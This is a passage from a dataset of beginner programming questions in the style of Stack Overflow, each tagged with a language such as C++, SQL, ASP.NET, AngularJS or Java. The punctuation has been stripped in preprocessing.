i&lt;5; i++)         for(int j=0; j&lt;5; j++)             if(matrix[child][day] &gt; matrix[i][j]) {                 child = i; day = j;             } }  void maxamount(int &amp;child  int &amp;day) {     child = 0; day = 0;     for(int i=0; i&lt;5; i++)         for(int j=0; j&lt;5; j++)             if(matrix[child][day] &lt; matrix[i][j]) {                 child = i; day = j;             } }  int main() {     for(int i=0; i&lt;5; i++)         for(int j=0; j&lt;5; j++)             readinput(i  j);      bool ok = true;     while (ok) {         cout&lt;&lt; average amount of food eaten per day by all children - press 1\n ;         cout&lt;&lt; the least amount of food eaten during the week by any one child - press 2\n ;               cout&lt;&lt; the greatest amount of food eaten during the week by any one child - press 3\n ;         cout&lt;&lt; to exit - press 0\n ;          int answer;         cin &gt;&gt; answer;         if (answer == 0)             ok = false;         if (answer == 1) {             cout&lt;&lt; enter a day of the week [from 1 to 5]\n ;             int day;             cin&gt;&gt;day;             cout&lt;&lt; average food consumed on  &lt;&lt;dayofweek(day)&lt;&lt; :  &lt;&lt;average(day)&lt;&lt;endl;         }          if(answer == 2) {             int child  day;             leastamount(child  day);             cout&lt;&lt; the least daily food consumed was by  &lt;&lt; child(child)&lt;&lt;  on  &lt;&lt;dayofweek(day)&lt;&lt;endl;         }          if(answer == 3) {             int child  day;             maxamount(child  day);             cout&lt;&lt; the most daily food consumed was by  &lt;&lt; child(child)&lt;&lt;  on  &lt;&lt;dayofweek(day)&lt;&lt;endl;         }     }      return 0; } </code></pre>   the error i m getting in the compiler is    <pre><code> in function  int main() :  108:81: error:  average  was not declared in this scope  in function  std::string dayofweek(int) :  19:1: warning: control reaches end of non-void function [-wreturn-type]  in function  std::string child(int) :  33:1: warning: control reaches end of non-void function [-wreturn-type] </code></pre>,c++
shipping sql server database with my application  i wish to ship sql server database file with my application.  i am very very new to sql.    1) i do not know how to protect this file from being opened.    2) if this file is emailed  can anybody read it     3) is there any possibility of protecting it like access database is password protected so even emailed  no one can open it.    thanks furqan,sql
i can not connect but with the inventor app and the 8266  i tested the firebase and it was something that answered most of my internet projects of things  i was going to go into a plan this week  but with this new update i can not connect  yes i m having difficulty working with the inventor app and the arduino do not know which key or code  or use this sdk to give continuity  firebase was something extraordinary that i could find for my home automation via remoto any new video or tutorial,c
asp.net search textbox and object that contains result  currently  i have a simple dropdownlist  which contains around 100 entries. searching for a specific entry is really uncomfortable and takes up alot of time  so i m searching for the easiest/most efficient way to realize the following idea:    <a href= https://i.stack.imgur.com/rp0mh.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/rp0mh.jpg  alt= enter image description here ></a>    there are a few things you can see here  which i only show for a clear explanation. the only thing i want to know about is point 2 (question further down).   <ol> <li>this is the textbox i want to be able to search something with </li> <li>this is the object in which i want to show the result </li> <li>the result consists of pictures. in the searchbox i can type in  symbol1  and the result will be the picture symbol1.png.</li> <li>when hovering over  a note should pop up</li> <li>a scrollbar should be available to scroll down inside that object</li> </ol>   this is the result i want to achieve. my question is the following:   <ul> <li><strong>what kind of object would be most optimal to use for my example </strong></li> </ul>   i have looked into various possible solutions (popup window  searchable dropdownlist  etc.)  but i haven t found out which object i should use to show the result of a search in form of pictures.,asp.net
mysql: selecting many rows but establishing a limit on 1  i have a table that consists of the following:   <pre><code>food  || last_order_date  ------------------------- pizza || 2011-10-25 19:00  ========================= pasta || 2011-10-25 23:00  ========================= pizza || 2011-10-29 15:00  ========================= pasta || 2011-10-31 18:00  ========================= </code></pre>   what i want to achieve is to obtain a table ordered by <code>last_order_date</code> for each food. so  the result would be:   <pre><code>food  || last_order_date  ------------------------- pasta || 2011-10-31 18:00  ========================= pizza || 2011-10-29 15:00  ========================= </code></pre>   how can i achieve that  i tried many things but all i obtained were orders from the whole table  instead of each food element. thank you!,mysql
toggling link text when navigating between pages based on selected stylesheet  i have installed a script on my website that allows for a low contrast setting and a high contrast setting  as my site will be used by sight impaired persons. the script works perfectly. the only problem is when a visitor visits multiple pages of the site.    when you first visit the site  the low contrast setting is in effect by default and only the link to the high contrast setting appears. if you then visit other pages of the website  the low contrast setting is in effect by default and only the high contrast link appears (this is perfect and as it should be). the website does this by using a cookie.    here is the problem. if you click on the high contrast link to view the page in the high contrast setting and then go to another page  the other page appears in the high contrast setting (as it should)  but instead of a link to the low contrast setting appearing (which i would like to happen)  a link to the high contrast setting appears (which does not make sense  given the page is already in the high contrast setting).    my site is not done  but i published a few pages at <a href= http://www.14kt.eu/  rel= nofollow noreferrer >http://www.14kt.eu/</a> so you can see what i am talking about. a number of the members of this site were kind enough to help me with the code/script and things were working perfectly for a bit  but then it just stopped working. i suspect i changed something in the rest of the html that caused this. rather perplexed over this issue.    if anybody can please tell me how to fix this problem  i would be most grateful.    thank you for your time  chris,javascript
model association on foreign key that is not integer  i m building an api in rails  and i have 2 models : vehicle which has_one: :document   <pre><code>class createvehicles &lt; activerecord::migration    def change       create_table :vehicles do |t|           t.string :uuid  limit: 36  null: false  index: true           t.string :license_plate_id           t.integer :mileage           t.string :mileage_unit  default:  km            t.belongs_to :user  index: true            t.timestamps null: false         end     end end </code></pre>   vehicle.rb   <pre><code>class vehicle &lt; activerecord::base   audited    include uuidconcern    belongs_to :user    serialize :response  json    has_one :vehicle_document  dependent: :destroy end </code></pre>   vehicledocument belongs_to: :vehicle   <pre><code>class createvehicledocuments &lt; activerecord::migration    def change       create_table :vehicle_documents do |t|          t.string :uuid  limit: 36  null: false  index: true          t.integer :status  default: 0          t.attachment :file          t.belongs_to :vehicle  index: true          t.timestamps null: false       end       add_index :vehicle_documents  :status    end  end </code></pre>   vehicle_document.rb :    <pre><code>class vehicledocument &lt; activerecord::base   audited    include uuidconcern   self.primary_key = :uuid    belongs_to :vehicle end </code></pre>   the problem is that i want to use a uuid for the vehicle id. i don t want to expose the real id outside of my api. how must i do this    do i have to do this in the migration file   model   should i not be doing this    thanks a lot,ruby-on-rails
problem with operator   i am writing following code:   <pre><code>_normdoc = value as normdoc;   if(_normdoc != null)    {      ucruskaztextboxesannotation.controls[ tbnameru ].text = _normdoc.addinforu    string.empty;    } </code></pre>   i think that if <code>_normdoc.addinforu == null</code> then <code>ucruskaztextboxesannotation.controls[ tbnameru ].text</code> will be equal empty string.<br>   but i am got  error: <code>nullreferenceexception</code>. can you explain me why     ps. ucruskaztextboxesannotation not equal null;    <strong>edit</strong>: sorry   i find error  yes  tbnameru not found  because they are inside panel control.,c#
python list vote([ g    g    n    g    c ]) <pre><code>vote([ g    g    n    g    c ]) </code></pre>   i want to get this result : <code>( g   [1  3  0  1])</code>   <pre><code>g_count = 0 n_count = 0 l_count = 0 c_count = 0 for i in range(len(ballots)):     if ballots[i] ==  g :         g_count += 1     elif ballots[i] == n :         n_count += 1     elif ballots[i] ==  l :         l_count +=1     else:         c_count += 1  return [n_count g_count l_count c_count] </code></pre>   how do i get the  g  at the front,python
perform action while button is pressed down   how can i call a method (in my case the same message over and over again)  as long the user presses and holds down a button  and stop performing the action as soon as he releases the button again. is it nsbutton with type momentarychangedbutton  im a starter  but if i only knew what button type to use i could carry on getting more informations.    thanks.,objective-c
where to store downloaded data in iphone application   i have a scenario in my application that i need to download mp3  pdf  text files using my application.     how can i download  and where to store  data using my application,ios
is a streaming server necessary to play iphone streaming video   i am a noob with regards to this. i just wanted to know if a streaming server is necessary to play streaming videos on the iphone.     e.g. i have a couple of mp4 s hosted on a server. can i play those files directly using mpmovieplayercontroller with the url <a href= http://xxxx.xx.mp4  rel= nofollow noreferrer >http://xxxx.xx.mp4</a>     are there any commercial solutions for hosting videos for the iphone,iphone
do value types (integer  decimal  boolean  etc...) inherit from object   looking for clarification on this...    i ve heard that  everything  in .net inherits from object.  i ve also heard that the difference between value types and reference types is that reference types inherit from object and value types do not.    my understanding was that everything was an object (inherits from system.object); but value types and reference types were simply  different  from one another.  value types are allocated on the stack and reference types get a  pointer  placed on the stack that points to an address on the heap.    is that the gist of it   what makes an integer a value type   that s something inherent in the language,.net
why clang doesn t find .h file in #include    in the same directory   this is my first question on this site  so please be patient with me. i tried searching for an answer but couldn t find any relevant.    i have main.m  person.h and person.h files in a current directory. in main.m i include person.h. then i try to compile main.m  but it gives an error that person object was not found.    here is main.m:   <pre><code>#import &lt;foundation/foundation.h&gt; #import  person.h   int main(int argc  const char * argv[]) {   @autoreleasepool {     // create an instance of person                                                  person *person = [[person alloc] init];      [person setweightinkilos:96];     [person setheightinmeters:1.8];      float bmi = [person bodymassindex];     nslog(@ person has a bmi of %f   bmi);   }   return 0; } </code></pre>   person.h:   <pre><code>#import &lt;foundation/foundation.h&gt;  @interface person : nsobject {   // 2 instance variables                                                          float heightinmeters;   int weightinkilos; }  // instance methods                                                              - (void)setheightinmeters:(float)h; - (void)setweightinkilos:(float)w;  - (float)bodymassindex; @end </code></pre>   person.m:   <pre><code>#import &lt;foundation/foundation.h&gt;  @implementation person  - (void)setheightinmeters:(float)h {   heightinmeters = h; }  - (void)setweightinkilos:(float)w {   weightinkilos = w; }  - (float)bodymassindex {   return weightinkilos / (heightinmeters * heightinmeters); }  @end </code></pre>   here is the error i get as i try to compile using  cc main.m -framework foundation :   <pre><code>undefined symbols for architecture x86_64:    _objc_class_$_person   referenced from:       objc-class-ref in main-24c686.o ld: symbol(s) not found for architecture x86_64 clang: error: linker command failed with exit code 1 (use -v to see invocation) </code></pre>   i even tried adding the current directory in path  but it didn t help.    thanks in advance for help.,objective-c
angularjs ngdisabled isn t activated as it should be  i have a code that should disable a button when : <code>registerform.$invalid || form.password != form.passwordbis</code>  which should mean :  disable the button if the form isn t valid or if the  $scope.form.password  variable isn t equal to  $scope.form.passwordbis .   isn t it     so here i have a code that activate the button if the two passwords matches. which shouldn t happen  because the first condition is still wrong !    html :   <pre><code>&lt;div ng-app= app  ng-controller= formctrl &gt;     &lt;form name= registerform &gt;         &lt;div class= header &gt;             &lt;h2&gt;create your account&lt;/h2&gt;         &lt;/div&gt;         &lt;div class= form-group &gt;             &lt;div class= title &gt;first name&lt;/div&gt;             &lt;input type= text  name= firstname  ng-required class= form-control  ng-class= {empty:form.firstname.length==0}  ng-model= form.firstname  required&gt;&lt;/input&gt;         &lt;/div&gt;         &lt;div class= form-group &gt;             &lt;div class= title &gt;last name&lt;/div&gt;             &lt;input type= text  name= lastname  ng-required class= form-control  ng-class= {empty:form.lastname.length==0}  ng-model= form.lastname  required&gt;&lt;/input&gt;         &lt;/div&gt;         &lt;div class= form-group &gt;             &lt;div class= title &gt;email&lt;/div&gt;             &lt;input type= email  name= email  ng-required class= form-control  ng-class= {empty:form.email.length==0}  ng-model= form.email  required&gt;&lt;/input&gt;         &lt;/div&gt;         &lt;div class= form-group &gt;             &lt;div class= title &gt;password&lt;/div&gt;             &lt;input type= password  name= password  class= form-control  ng-class= {empty:form.password.length==0}  ng-model= form.password  required&gt;&lt;/input&gt;             &lt;input type= password  name= passwordbis  class= form-control  ng-class= {empty:form.passwordbis.length==0}  ng-model= form.passwordbis  minlength= 6  required&gt;&lt;/input&gt;         &lt;/div&gt;         &lt;div ng-if= form.password != form.passwordbis  class= error &gt;passwords doesn t match.&lt;/div&gt;         &lt;div class= form-group &gt;             &lt;button class= btn btn-success  ng-click= register()  ng-disabled= registerform.$invalid || form.password != form.passwordbis &gt;register&lt;/button&gt;&lt;br/&gt;         &lt;/div&gt;     &lt;/form&gt; &lt;/div&gt; </code></pre>   js :   <pre><code>var app = angular.module( app   []);  app.controller( formctrl   function($scope) {     $scope.form = {             firstname:                 lastname:                 email:                 password:                 passwordbis:        }; }); </code></pre>   and you can test it : <a href= http://jsfiddle.net/smbw994a/3/  rel= nofollow ><strong>jsfiddle</strong></a>    what am i missing,angularjs
display records from database in gridview  i have a problem displaying data in grid view i am a new learner of asp.net please help me. my code is below: problem is:   <h1>databinding:  system.data.datarowview  does not contain a property with the name  news_id .</h1>   .aspx   <pre><code> &lt;asp:gridview id= gridview1  runat= server  class= international_news   autogeneratecolumns= false  datakeynames= news_id &gt;                                       &lt;columns&gt;                      &lt;asp:boundfield  datafield= news_id  visible= false /&gt;                    &lt;asp:boundfield  datafield= news_title /&gt;                                                    &lt;asp:templatefield&gt;                             &lt;itemtemplate&gt;                             &lt;asp:linkbutton id= linkbutton1  runat= server  commandname= readmore  commandargument= &lt;%#eval( news_id )%&gt; &gt;                             read more                             &lt;/asp:linkbutton&gt;                             &lt;/itemtemplate&gt;                             &lt;/asp:templatefield&gt;                                         &lt;/columns&gt;                         &lt;/asp:gridview&gt;   </code></pre>   ======================================================================================    .aspx.cs   <pre><code> con.open();             string sqlstring =  select [news_id]  [news_title] from upload_news ;             cmd = new sqlcommand(sqlstring  con);             dr = cmd.executereader();              datatable dt = new datatable();             if (!this.ispostback)             {                  dt.columns.addrange(new datacolumn[2] { new datacolumn( news title   typeof(string))                  new datacolumn( news id   typeof(string))});                 while (dr.read())                 {                     if (dr[1].tostring() !=  yes )                     {                         dt.rows.add(dr[0].tostring());                         gridview1.datasource = dt;                         gridview1.databind();                     }                 }             }               con.close();                 </code></pre>,asp.net
is there a  notimplementedattribute  in .net  <h3>duplicate</h3>  <blockquote>    <a href= https://stackoverflow.com/questions/154109/custom-compiler-warnings >custom compiler warnings in .net</a>  </blockquote>   i d like to be able to tag my code with a <code>notimplementedattribute</code> and have the compiler either give a warning or an error at build time if the method is used.    i know there is the <code>obsoleteattribute</code>  but that communicates something very different.,.net
what does ** mean in python  i m confused what one * and two ** does in front of a parameter.    <pre><code>def wrapper(*args  **wdargs): </code></pre>,python
cannot modify the return value of dictionary because it is not a variable  have such error: cannot modify the return value of  system.collections.generic.dictionary.this[string]  because it is not a variable.`    my code:   <pre><code>dictionary&lt;string  lim&gt; urlslimited = new dictionary&lt;string  lim&gt;(); struct lim {     public int min;     public int max; } void main () {     ....     foreach (keyvaluepair&lt;string  lim&gt; pair in urlslimited)     {         string like = od.likediscussions(pair.key);         if (like ==  like )         {             lock (locker)             {                 urlslimited[pair.key].min++; // error              }         }     }     .... } </code></pre>   how to iterate urlslimited[pair.key].min++,c#
amplitude.js + animatedmodal.js  i am incorporating amplitude.js with animatedmodal.js and just want to tweak it a bit to make everything work perfectly.  currently  when i close the modal  the mp3 in amplitude continues to play.  i would like to make it pause the mp3 when i close the modal.      i think it can be done by using some of the tools already provided  but i am not sure how to call the functions correctly.    here is the relevant portion of animatedmodal.js where they have a callback created just for closing the modal:   <pre><code>function afterclose () {                id.css({ z-index :settings.zindexout  left :settings.leftout});         settings.afterclose(); //afterclose     } </code></pre>   amplitude.js also provides a public function to pause the mp3:   <pre><code>        amplitude.play() </code></pre>   since amplitude is already initialized  i dont know the correct way to call that function in the afterclose function.,jquery
what is the best way to get values of a map as a vector   i need to satisfy an api function that requires a vector:   <pre><code>void api_function(std::vector&lt;int&gt; vec); </code></pre>   for another reason  i keep values in a   <pre><code>std::map&lt;int int&gt; map; </code></pre>   now i need to pass the values of this map to the api_function.     is there a way to do that without too much space and time overhead  i.e. without iterating through all values or creating a new vector,c++
confusing solution for problem 10 in projecteuler  i solved problem <a href= http://projecteuler.net/index.php section=problems&amp;id=10  rel= nofollow >10 in project euler</a> (but my solution took 2000 seconds)  so i tried to find faster solution. i found this (execution time 0.1 sec)  but i don t understand this solution and i need help.   <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt; #include &lt;math.h&gt; using namespace std; #define highest 2000000  char prime[highest / 2];  int main(int argc  char** argv) {    unsigned int i  j;    unsigned long long sum = 2;    unsigned int total = 0;     /* set entire array to true (prime) */    memset(prime  1  sizeof(char)*highest / 2);    /* except for 1 */    prime[0] = 0;     for(i = 3; i &lt; highest; i += 2) {       if(prime[i / 2] == 1) {          sum += (unsigned long long)i;          total++;       }       for(j = (i+i+i)/2; j &lt; highest/2; j += i) {          prime[j] = 0;       }    }    printf( sum: %llu (%d prime numbers)\n   sum  total);    return 0; } </code></pre>,c
string (dd-mm-yyyy hh:mm) to date (yyyy-mm-dd hh:mm) | java  i have a string in  dd-mm-yyyy hh:mm  and need to convert it to a date object in the format  yyyy-mm-dd hh:mm .    below is the code i m using to convert   <pre><code>oldscheduleddate =  16-05-2011 02:00:00 ; dateformat formatter = new simpledateformat( yyyy-mm-dd hh:mm:ss ); date olddate = (date)formatter.parse(oldscheduleddate); </code></pre>   now when i print olddate  i get    <code>sat nov 01 02:00:00 gmt 21</code>  which is completely wrong  what am i doing wrong here,java
control characters in php file handling  i m trying to write the £ symbol to a file using php. however when i open the file i have created the £ sign is always preceded with the symbol <code>¬</code> (on my keyboard this is an alt l)    is there anyway to suppress this    <pre><code>$file=fopen($lastid  w ); echo $file; fwrite($file         date: $receipt_date     customer: $customer     receipt number: $id     description: $description       amount: £$net     vat: £$vat     total: £$gross      test:£500      payment received with thanks by $payment       uniquecapture vat: ); fclose($file); </code></pre>,php
how can i have different css when i print or print preview   i d like to change some things on my web page. also i would like to make some things hidden. is there a way i can do this with css when i print  in particular i want to be able to hide some divs and all that they contain.,css
should i autorelease after failure in non-designated initalizer   say i have the following class:   <pre><code>@interface frob : nsobject {     nsdata *data; } - (id)initwithdata:(nsdata *)indata; @end  @implementation frob - (id)initwithdata:(nsdata *)indata  {    if ((self = [super init])) {        data = [indata retain];    }    return self; } - (void)dealloc {     [data release];     [super dealloc]; } @end </code></pre>   i now want to add a convenience method to read from a url. so i write something that looks like this:   <pre><code>- (id)initwithcontentsofurl:(nsurl *)url {     nserror *error = nil;     nsdata *data = [nsdata datawithcontentsofurl:url options:0 error:&amp;error];     if (!data) {         nslog(@ frob couldn t read data  error: %@   error);         [self autorelease]; // !!!         return nil;     }     return [self initwithdata:data]; } </code></pre>   that <code>!!!</code> line raised a red flag for me: i m (effectively) invoking <code>-release</code> on an object that has been <code>+alloc</code> d but the superclass s <code>-init</code> is <strong>never actually called</strong>. is this safe      another way to ask the same question: conceptually  is <code>-release</code> the opposite of <code>+alloc</code>  or of <code>+alloc</code> and <code>-[&lt;root class&gt; init]</code>     clarification would be very much appreciated.,objective-c
pass a pointer value in objective-c  i just learn the objc language so my question is kind stupid but still i very curiosity i want pass a objc instance pointer to another variants so i can do this in the c    <pre><code>char *astr = malloc(sizeof(char) * 90); void *copystr = astr; sprintf(astr   hello %s    me ); // insert code here... nslog(@ |%s| copy to |%s|   astr  copystr); </code></pre>   but in objc it s not work in any way.    <pre><code>nsstring *conststr = @ ha!damn!dead! ;  //if we pass the pointer to anoter id *otherspacestr = conststr; //this is noway to work void thirdspacestr = conststr; //void won t work too </code></pre>   so my question is after all them all are pointer why can t pass them. <img src= https://i.stack.imgur.com/svk3q.png  alt= enter image description here > <img src= https://i.stack.imgur.com/lbxfv.png  alt= enter image description here >    i look into the debug windows found them not only pointer them seems have type too <img src= https://i.stack.imgur.com/ikrx8.jpg  alt= enter image description here >,objective-c
differences between 3 table  i want to compare 3 tables in a local database.    my problem is that i need to know which tables have the same data and which are missing data.    example:    <pre><code>table a: ipaddress    |hostname 10.10.01.10  | something 255.255.255.1| something else  table b: ipaddress    |hostname 10.10.01.10  |something  table c: ipaddress    |hostname 255.255.255.1| something else 1.1.1.1      | blabla </code></pre>   and i need to have a table that show me the data like that   <pre><code>ipaddress\hostname\tablea\tableb\tablec 10.10.01.10\something\1\1\0 255.255.255.1\something else\1\0\1 1.1.1.1\blabla\0\0\1 </code></pre>,sql
how to do url decoding in java   i m trying to unescape this string  selby%2c%20sd  so the result would be  selby  sd  (i assume) but can t find the way.    i ve tried    <pre><code>stringescapeutils.unescapehtml4( selby%2c%20sd ) </code></pre>   but the result is the same string. i ve also tried stringescapeutils.unescapehtml but didn t work either. what am i doing wrong     thanks.,java
publish error in asp.net  i have designed web application in asp.net...i have publish a website..  i have create virtual directory and copy the publish file....  and browse the website...   <blockquote>    an error has occurred while establishing a connection to the server.  when connecting to >sql server 2005  this failure may be caused by the fact that under the default settings >sql server does not allow remote connections. (provider: named pipes provider  error: 40 >- could not open a connection to sql server)    description: an unhandled exception occurred during the execution of the current web >request. please review the stack trace for more information about the error and where it >originated in the code.         exception details: system.data.sqlclient.sqlexception: an error has occurred while >establishing a connection to the server.  when connecting to sql server 2005  this >failure may be caused by the fact that under the default settings sql server does not >allow remote connections. (provider: named pipes provider  error: 40 - could not open a >connection to sql server)        source error:    an unhandled exception was generated during the execution of the current web request. >information regarding the origin and location of the exception can be identified using >the exception stack trace below.  </blockquote>,asp.net
mysql join query on two tables with multiple colums but redundant many times  i have two tables like this:    <strong>studentanswer</strong>   <pre><code>stunum | quiznum | questionid | stuanswer ------------------------------------------ 2012   |    1    |     15     | optiona 2013   |    1    |     15     | optionb 2012   |    2    |     16     | optionc 2012   |    2    |     17     | optiona 2012   |    2    |     18     | optionb </code></pre>   <strong>questionquiz</strong>   <pre><code>quiznum | questionid | question         | correctans ---------------------------------------------------- 1       |     15     | what is sql      | optiona 2       |     16     | what is web      | optionc 2       |     17     | what is android  | optiona 2       |     18     | what is math     | optionb </code></pre>   i want to get result like this :   <pre><code>question        | correctans | stuanswer ------------------------------------- what is web     | optionc    | optionc what is android | optiona    | optiona what is math    | optionb    | optionb </code></pre>   i want to get all the stuanswer based on stunum=2012  quiznum=2    i tried this code but it loop 3 times   <pre><code>select b.stunum        b.quiznum        b.questionid        c.question        c.correctans        c.markquiz        b.stuanswer    from studentanswer b    join questionquiz c      on b.quiznum = c.quiznum   where b.stunum = 2012     and c.quiznum = 2 </code></pre>   this is result i got :   <pre><code>question        | correctans | stuanswer ---------------------------------------- what is web     | optionc    | optionc what is android | optiona    | optiona what is math    | optionb    | optionb what is web     | optionc    | optionc what is android | optiona    | optiona what is math    | optionb    | optionb what is web     | optionc    | optionc what is android | optiona    | optiona what is math    | optionb    | optionb </code></pre>,mysql
what does char casting in this java println call do   i m new to programming in java and i do not understand a println statement. i can run it but cannot understand what it does. can anyone explain what this does     <code>system.out.println((char) ( a  + 4));</code>,java
removing trailing whitespaces of a string in c++  i am trying to remove trailing whitespaces of a string in a concise/efficient way.     let s say i have the string:   <pre><code>string input=  2 2 +                   </code></pre>   i used this in an attempt to make it <code>input =  2 2+ </code>   <pre><code>  std::string::iterator end_pos = std::remove(input.begin()  input.end()     );   input.erase(end_pos  input.end());   cout &lt;&lt; input &lt;&lt; endl; </code></pre>   however  it removed <em>all</em> the whitespaces.     how would i implement it so it only removes <em>trailing</em> whitespaces,c++
irregular regions that respons to touch in ios  say i have a map for a country by regions  ex <a href= http://www.understandingitaly.com/regions.html  rel= nofollow >http://www.understandingitaly.com/regions.html</a> what is the best approach to  convert  those regions into  touchable  regions that will respond and notify when i tap one of them,iphone
how to extract a particular field from json using jquery  i am creating an autocomplete component using jquery where the suggestions come from one of the fields of solr.i am not able to extract the value from the corresponding json format. the json file is as given and i need to extract the value of query field.   <pre><code>{      responseheader : {          status : 0           qtime : 0           params : {              q :  query:cr*\r\n                wt :  json          }     }       response : {          numfound : 16           start : 0           docs : [{              id :  90268125-f806-428c-889b-696172c55356                query :  cricket                hits : 66               resptime : 359}          {              id :  d5871725-0d4f-42bc-8180-9328ed81c644                query :  cricketmania                hits : 66               resptime : 156}]     } } </code></pre>,jquery
how to print a .prn(uploaded) file using angular.js  i am working on a project where i need to upload a .prn file from user and need to print the file to the zebra printer using angular.js.    however i have tried searching it on net and have found no answer.    can someone please let me know if there is any solution for this.,angularjs
generate auto increment value from unique id mysql  i collect the same similar data with different type value based on id in one table:   <pre><code> +------+---------------+-----------------+----------------+   |  id  |   transid     |     amount      |   insertdate   |  +------+---------------+-----------------+----------------+   |  1   |      1        |       12        |   19-03-2004   |  |  2   |      2        |       9         |   20-03-2004   |  |  3   |      3        |       4         |   21-03-2004   |  |  4   |      1        |       12        |   22-03-2004   |  |  5   |      2        |       9         |   23-03-2004   |  |  6   |      3        |       4         |   24-03-2004   |  |  7   |      1        |       12        |   25-03-2004   |  +------+---------------+-----------------+----------------+  </code></pre>   when i select the table based on the transid of 1  i want to have a unique auto increment id for the record based on the id of the table.     how to do this  so the result would be   <pre><code> +------+---------------+-----------------+----------------+---------------   |  id  |   transid     |     amount      |   insertdate   | newgeneratedid  +------+---------------+-----------------+----------------+-----------------   |  1   |      1        |       12        |   19-03-2004   |       1  |  4   |      1        |       12        |   22-03-2004   |       2  |  7   |      1        |       12        |   25-03-2004   |       3  +------+---------------+-----------------+----------------+ --------------- </code></pre>   and when i select to only a specific id of the table  for example the id of 4  it will give me the newgeneratedid of 2  not 1.    <pre><code> +------+---------------+-----------------+----------------+---------------   |  4   |      1        |       12        |   22-03-2004   |       2  +------+---------------+-----------------+----------------+  </code></pre>,mysql
state machines in .net  can any on explain me what are state machines in .net,.net
adding timelapse button to gui of the diy thermocam  i have tried to add a timelapse button to the open source <a href= https://github.com/maxritter/diy-thermocam  rel= nofollow noreferrer >diy thermocam</a> project as follows (to  gui/mainmenu.h  because my trigger/push button is faulty  unfortunately)    <pre><code>// adding a new page to menu of gui. the new page has three buttons  where each button should link to the timelapse function     if (page == 4) {         //change color         if (pos == 0) {             sendcmd = frame_capture_video;         }         //change mode         if (pos == 1) {             sendcmd = frame_capture_video;         }         //temperature limits         if (pos == 2) {             sendcmd = frame_capture_video;         }     } </code></pre>   i did this because of the following code in hardware/connection.h   <pre><code>//long press - request to start or stop a video     else {         sendcmd = frame_capture_video;         //wait until button release         while (extbuttonpressed());     } } </code></pre>   given the comment in the code above i assume the command <em>sendcmd = frame_capture_video;</em> would let me go into the video menu/mode  which then  as far as i am aware  should give me the option of choosing the timelapse function.    as i am really new to c and c++ i am wondering if someone would be willing to have a look at the project and my code to let me know if my code would work as intended. i am cautious about uploading this new firmware to the camera as i am afraid i might brick it.    i would be very grateful for any help.    thank you in anticipation.,c++
if statement in rails  i trying to learn rails by doing some labs in railsforzombies  i am in  lab3  (if statements).    it has two tables:   <ul> <li>zombies{id  name  graveyard}</li> <li>tweets{id  status  zombie_id}</li> </ul>   <strong>objective</strong> <em>in the each block  if a zombie has more than 1 tweet  print out smart zombie</em>   <pre><code> &lt;% zombies = zombie.all %&gt;  &lt;ul&gt;   &lt;% zombies.each do |zombie| %&gt;     &lt;li&gt;       &lt;%= zombie.name %&gt;       # add if statement here     &lt;/li&gt;   &lt;% end %&gt; &lt;/ul&gt; </code></pre>   i have tried some solutions but i get it wrong.,ruby-on-rails
popup shows and disappears when onclientclick= showpopup()  when showpopup return it doesn t disappear but no value if there is no return it showed and disappeared but one i click on it again it showed value but soon it disappear   <pre><code>&lt;itemtemplate&gt;                      &lt;asp:button id= btndetails  runat= server                          commandname= showpopup  onclientclick= showpopup();return false  ;                           text= select issue   /&gt;                 &lt;/itemtemplate&gt; </code></pre>   code behind   <pre><code> protected void gridview1_rowcommand(object sender gridviewcommandeventargs e) {     if (e.commandname ==  showpopup )     {          button btndetails = (button)e.commandsource;         gridviewrow gvrow = (gridviewrow)btndetails.namingcontainer;        // lblid.text = httputility.htmldecode(gvrow.cells[3].text);       // lblid.text = gridview1.datakeys[gvrow.rowindex].value.tostring();         lblid.text = gvrow.cells[2].text;        // lblcontactname.text = httputility.htmldecode(gvrow.cells[3].text);         //txtaddress.text = gvrow.cells[5].text;        // txtcity.text = httputility.htmldecode(gvrow.cells[4].text);      } </code></pre>,asp.net
angularjs dependency injection - implicit vs array annotation  so i was using this website to show me the basics: <a href= https://www.codeproject.com/articles/1130132/learn-angularjs-for-beginners  rel= nofollow noreferrer >https://www.codeproject.com/articles/1130132/learn-angularjs-for-beginners</a>    and on the scope inheritance section i was thrown off because of the controller used for that example compared to the example controller used as intro to controllers.    what is the difference between:   <pre><code>app.controller( personcontroller   function($scope) {     $scope.employeedata = persondata;     $scope.employeemethod = function() {       console.log( hello  i am an employee );     } }); </code></pre>   and   <pre><code>app.controller( maincontroller   [ $scope   function($scope){     $scope.name =  donald ;      $scope.color =  white ; }]); </code></pre>   as in the first one is name then function  the second is name then bracket.,angularjs
div positioning with child element  i have two stacked divs contains child elements and what i want is if i set visibility to hidden to the first div it should disppear and second div under the first one should take the place of first div by maintaining the position of child elements inside the second div.    here is the code.   <pre><code>&lt;div id= wrapper &gt;        &lt;div id= first  style= top:10px; width:400px; border-style:solid;border-width:1px; &gt;            a quick brown fox jumps over the lazy dog.................. &lt;/div&gt;  &lt;div id= second  style= top:100px;width:400px; border-style:solid; border-width:1px; &gt;      &lt;div id= child1  style= margin-left:250px &gt;             21st  october 2011      &lt;/div&gt;   &lt;/div&gt; &lt;div&gt; </code></pre>,css
is there a single sql (or its variations) function to check not equals for multiple columns at once   just as i can check if a column does not equal one of the strings given in a set.   <pre><code>select * from table1 where column1 not in ( string1   string2   string3 ); </code></pre>   is there a single function that i can make sure that multiple columns does not equal a single string  maybe like this.   <pre><code>select * from table1 where each(column1 column2 column3) &lt;&gt;  string1 ; </code></pre>   such that it gives the same effect as:   <pre><code>select * from table1 where column1 &lt;&gt;  string1                          and column2 &lt;&gt;  string1                          and column3 &lt;&gt;  string1 ; </code></pre>   if not  what s the most concise way to do so,sql
java function override  lets say i have class a and class b. then  in main  is it possible to get back the return value of class a  i am doing homework right now  but cant seem to get them right  so here the example i want to ask...   <pre><code>public class a {     private double total=10;     public double test()     {     return total;     } }    public class b extends a {     private double totalb=20;     public double test()     {     return (super.test()+10);     } }  public class c { public static void main(string [] args) {     double sum;     b ftest = new b();     system.out.println( i want to get back return value of class a for calculate\n +ftest.test()/2);     //so the answer i want to get is suppose to be 5     system.out.println( again i want to use return value of class a\n +ftest.test()*10);    //here the value i want to get is 10*10 = 100 } } </code></pre>   answer i got   <pre><code>i want to get back return value of class a for calculate 30.0 again i want to use return value of class a 300.0 </code></pre>   the answer i want   <pre><code>i want to get back return value of class a for calculate 5 again i want to use return value of class a 100 </code></pre>   so the direct question i asking is am i able to call test() method in class a in main using the  b object. if can  how,java
